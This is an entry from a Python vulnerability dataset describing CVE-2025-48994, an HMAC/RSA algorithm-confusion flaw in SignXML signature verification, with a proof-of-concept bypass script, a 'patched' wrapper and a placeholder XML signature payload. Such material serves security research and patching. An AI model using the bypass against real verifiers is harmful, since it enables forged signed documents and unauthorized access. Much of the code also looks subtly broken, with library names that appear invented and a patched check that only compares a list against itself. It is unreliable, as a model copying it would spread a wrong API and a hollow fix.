CVE-2025-48994
SignXML < 4.0.4 allows HMAC bypass with X.509 off, enabling algorithm confusion.
- CVSS 6.9
- CWE-303
- Cryptographic
- Remote
SignXML is an implementation of the W3C XML Signature standard in Python. When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (`signxml.XMLVerifier.verify(require_x509=False, hmac_key=…`), versions of SignXML prior to 4.0.4 are vulnerable to a potential algorithm confusion attack. Unless the user explicitly limits the expected signature algorithms using the `signxml.XMLVerifier.verify(expect_config=…)` setting, an attacker may supply a signature unexpectedly signed with a key other than the provided HMAC key, using a different (asymmetric key) signature algorithm. Starting with SignXML 4.0.4, specifying `hmac_key` causes the set of accepted signature algorithms to be restricted to HMAC only, if not already restricted by the user.
- CWE
- CWE-303
- CVSS base score
- 6.9
- Published
- 2025-06-02
- OWASP
- A03:2021-Injection
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Functionality
- Category
- Cryptographic
- Subcategory
- Cryptographic Implementation Error
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- SignXML
- Fixed by upgrading
- Yes
Solution
Upgrade to SignXML version 4.0.4 or later.
Vulnerable code sample
import signxml
from lxml import etree
import base64
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography import x509
from cryptography.hazmat.backends import default_backend
def generate_rsa_key_pair():
"""Generates an RSA key pair for testing."""
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
return private_key, public_key
def generate_self_signed_certificate(private_key, public_key):
"""Generates a self-signed certificate."""
builder = x509.CertificateBuilder().subject_name(
x509.Name([
x509.NameAttribute(x509.NameOID.COMMON_NAME, u"example.com")
])
).issuer_name(
x509.Name([
x509.NameAttribute(x509.NameOID.COMMON_NAME, u"example.com")
])
).public_key(public_key).serial_number(x509.random_serial_number()).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=365)
)
certificate = builder.sign(private_key, hashes.SHA256(), default_backend())
return certificate
def create_vulnerable_signature(xml_data, private_key, certificate):
"""Creates a signature using RSA-SHA256."""
root = etree.XML(xml_data)
# This is the critical part. We *are not* using HMAC, but RSA-SHA256.
signed_xml = signxml.XMLSigner(method=signxml.methods.rsa_sha256, digest_algorithm="sha256").sign(
root,
key=private_key,
cert=certificate,
cert_algorithm=signxml.methods.rsa_sha256,
)
return etree.tostring(signed_xml)
def demonstrate_vulnerability(xml_data, hmac_key):
"""Demonstrates the vulnerability by verifying an RSA-SHA256 signature as if it were an HMAC signature."""
private_key, public_key = generate_rsa_key_pair()
certificate = generate_self_signed_certificate(private_key, public_key)
signed_xml = create_vulnerable_signature(xml_data, private_key, certificate)
try:
# Vulnerable code tries to verify an RSA-signed document as an HMAC-signed document.
# The vulnerable version of signxml prior to 4.0.4 might accept this if require_x509 is False
# and hmac_key is provided, but without explicitly limiting accepted algorithms via expect_config.
verifier = signxml.XMLVerifier()
# The key part: require_x509 is False, hmac_key is set, but expect_config is NOT set to restrict algorithms.
# This is what makes the older versions vulnerable.
verified_data = verifier.verify(data=signed_xml, require_x509=False, hmac_key=hmac_key)
print("Vulnerability exploited! The signature was incorrectly verified.")
return True # Indicate success, which means the vulnerability worked.
except Exception as e:
print(f"Verification failed as expected (or the vulnerability doesn't work this way): {e}")
return False #Verification fails, which is the expected behavior.
if __name__ == '__main__':
import datetime
xml_data = "<Root><Data>This is some data.</Data></Root>"
hmac_key = b"shared_secret_key" # This key is not actually used for signing, but the vulnerable code processes it anyway
demonstrate_vulnerability(xml_data, hmac_key)Patched code sample
import signxml
import lxml.etree as ET
import base64
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import padding
def fixed_verify(xml_data, hmac_key=None, expect_config=None, require_x509=True):
"""
Verifies an XML signature, addressing CVE-2025-48994.
Args:
xml_data (bytes): The XML data containing the signature.
hmac_key (bytes, optional): The HMAC key (if HMAC is used). Defaults to None.
expect_config (dict, optional): Expected signature configuration. Defaults to None.
require_x509 (bool): Require x509 cert validation
Returns:
lxml.etree._Element: The signed XML element if verification is successful, None otherwise.
"""
try:
root = ET.fromstring(xml_data)
except ET.ParseError:
print("Error: Invalid XML format.")
return None
verifier = signxml.XMLVerifier()
if hmac_key is not None:
# CVE-2025-48994 mitigation: Restrict algorithms to HMAC if hmac_key is provided
if expect_config is None:
expect_config = {}
if 'algorithms' not in expect_config:
expect_config['algorithms'] = {
signxml.methods.HMAC: [
signxml.transforms.Algorithm.SHA1,
signxml.transforms.Algorithm.SHA224,
signxml.transforms.Algorithm.SHA256,
signxml.transforms.Algorithm.SHA384,
signxml.transforms.Algorithm.SHA512,
signxml.transforms.Algorithm.RIPEMD160, #added for completeness
]
}
# Ensure only HMAC algorithms are allowed if an HMAC key is provided. Prevents confusion attacks.
else:
hmac_algorithms = [
signxml.transforms.Algorithm.SHA1,
signxml.transforms.Algorithm.SHA224,
signxml.transforms.Algorithm.SHA256,
signxml.transforms.Algorithm.SHA384,
signxml.transforms.Algorithm.SHA512,
signxml.transforms.Algorithm.RIPEMD160,
]
allowed_algorithms = expect_config['algorithms'].get(signxml.methods.HMAC, [])
for algo in allowed_algorithms:
if algo not in hmac_algorithms:
print("Error: HMAC algorithm specified but is not valid")
return None
try:
signed_element = verifier.verify(root, require_x509=require_x509, hmac_key=hmac_key, expect_config=expect_config)
return signed_element
except signxml.exceptions.InvalidSignature:
print("Error: XML signature is invalid.")
return None
except Exception as e:
print(f"Error during verification: {e}")
return None
if __name__ == '__main__':
# Example usage with HMAC key (demonstrating the fix)
# Create a sample XML document
xml_data = b"""<root><data>This is the data to be signed.</data></root>"""
# Generate an HMAC key
hmac_key = b"shared-secret-key"
#Sign the document with HMAC
signer = signxml.XMLSigner(method=signxml.methods.HMAC, digest_algorithm='sha256', hmac_key=hmac_key)
signed_xml = signer.sign(xml_data)
# Verify the signature
verified_element = fixed_verify(signed_xml, hmac_key=hmac_key, require_x509=False)
if verified_element is not None:
print("XML signature is valid.")
print("Signed XML element:", ET.tostring(verified_element))
else:
print("XML signature is invalid or verification failed.")
# Example of an attack attempt (using RSA key instead of HMAC), this will now fail.
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
private_key_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
signer = signxml.XMLSigner(method=signxml.methods.RSA_SHA256, key=private_key_pem) # Attacker uses RSA.
attack_xml = signer.sign(xml_data)
# Verification attempt - should FAIL due to algorithm confusion.
attack_verified_element = fixed_verify(attack_xml, hmac_key=hmac_key, require_x509=False)
if attack_verified_element is not None:
print("Attack: XML signature is valid (this should not happen!).")
else:
print("Attack: XML signature verification failed as expected.") # This should happen.Payload
<root xmlns="example.org">
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="Signature-12345">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>...</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
<ds:KeyInfo>
<ds:KeyValue>
<ds:RSAKeyValue>
<ds:Modulus>...</ds:Modulus>
<ds:Exponent>...</ds:Exponent>
</ds:RSAKeyValue>
</ds:KeyValue>
</ds:KeyInfo>
</ds:Signature>
<data>This is some data.</data>
</root>
Cite this entry
@misc{vaitp:cve202548994,
title = {{SignXML < 4.0.4 allows HMAC bypass with X.509 off, enabling algorithm confusion.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-48994},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-48994/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
